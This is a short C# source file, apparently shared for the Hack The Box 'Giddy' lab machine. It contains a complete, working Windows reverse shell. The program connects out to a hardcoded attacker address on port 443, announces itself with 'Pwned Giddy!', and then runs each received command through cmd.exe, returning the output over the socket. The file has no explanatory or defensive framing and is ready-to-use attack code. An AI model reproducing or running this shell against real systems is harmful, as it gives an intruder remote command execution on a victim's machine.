Sample reverse shell code for HTB Giddy.

Server.cs

using System;
using System.Text;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Diagnostics;


class Server {

  public static void Main(String[] args) {
    Socket s = null;
    String server = "10.10.12.75";
    byte[] res = new byte[1024];
    byte[] msg = Encoding.UTF8.GetBytes("Pwned Giddy!\n");

    IPAddress me = IPAddress.Parse(server);
    IPEndPoint i = new IPEndPoint(me, 443); // Our IP and Port
    s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    s.Connect(i);
    
    if(s.Connected) {
      s.Send(msg, 0, msg.Length, SocketFlags.None);
    }

    while(true) {
      Array.Clear(res, 0, res.Length);
      s.Receive(res, 0, s.Available, SocketFlags.None);
      String cmd = (Encoding.UTF8.GetString(res)).Trim();
      cmd = cmd.Replace("\r", string.Empty);
      cmd = cmd.Replace("\n", string.Empty);
      if(!string.IsNullOrEmpty(cmd)) {
        byte[] output = Encoding.UTF8.GetBytes(getOutput(cmd));
        s.Send(output, 0, output.Length, SocketFlags.None);
      }

    }
  }

  public static String getOutput(String cmd) {
    var psi = new ProcessStartInfo {
      FileName = "cmd.exe",
      Arguments = "/c " + cmd,
      RedirectStandardOutput = true,
      RedirectStandardError = true,
      UseShellExecute = false
    };
    Console.WriteLine(psi.Arguments.Trim());
    var p = Process.Start(psi);
    String res = p.StandardOutput.ReadToEnd();
    res += p.StandardError.ReadToEnd();
    p.WaitForExit();
    
    return res;
  }
}